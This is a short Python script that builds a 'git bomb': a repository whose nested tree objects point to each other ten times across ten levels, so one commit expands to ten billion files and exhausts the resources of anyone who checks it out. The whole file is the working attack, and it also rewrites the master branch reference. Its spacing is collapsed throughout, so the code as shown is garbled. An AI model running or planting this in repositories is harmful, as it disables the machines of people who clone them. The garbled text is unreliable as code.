#! /usr/bin/env python3importbinasciiimportsubprocessimporttempfiledefwrite_git_object(object_body,type='tree'):'''Writes a git object and returns the hash'''withtempfile.NamedTemporaryFile()asf:f.write(object_body)f.flush()command= ['git','hash-object','-w','-t',type,f.name]returnsubprocess.check_output(command).strip()defwrite_git_commit(tree_hash,commit_message='Create a git bomb'):'''Writes a git commit and returns the hash'''command= ['git','commit-tree','-m',commit_message,tree_hash]returnsubprocess.check_output(command).strip()defcreate_tree(dirs,perm):body=b''fora_dirinsorted(dirs,key=lambdax:x[0]):body+=bytearray(perm,'ascii')+b'\x20'+bytearray(a_dir[0],'ascii')+b'\x00'+binascii.unhexlify(a_dir[1])returnbodydefcreate_blob(body=''):returnbytearray(body,'ascii')if__name__=='__main__':depth=10# how many layers deepwidth=10# how many files or folders per depth levelblob_body='one laugh'# content of blob at bottom# create base blobblob_hash=write_git_object(create_blob(body=blob_body),type='blob')# write tree object containing many filesdirs= [('f'+str(i),blob_hash)foriinrange(width)]tree_hash=write_git_object(create_tree(dirs,'100644'),type='tree')# make layers of tree objects using the previous tree objectforiinrange(depth-1):other_dirs= [('d'+str(i),tree_hash)foriinrange(width)]tree_hash=write_git_object(create_tree(other_dirs,'40000'),type='tree')commit_hash=write_git_commit(tree_hash)# update master refopen('.git/refs/heads/master','wb').write(commit_hash)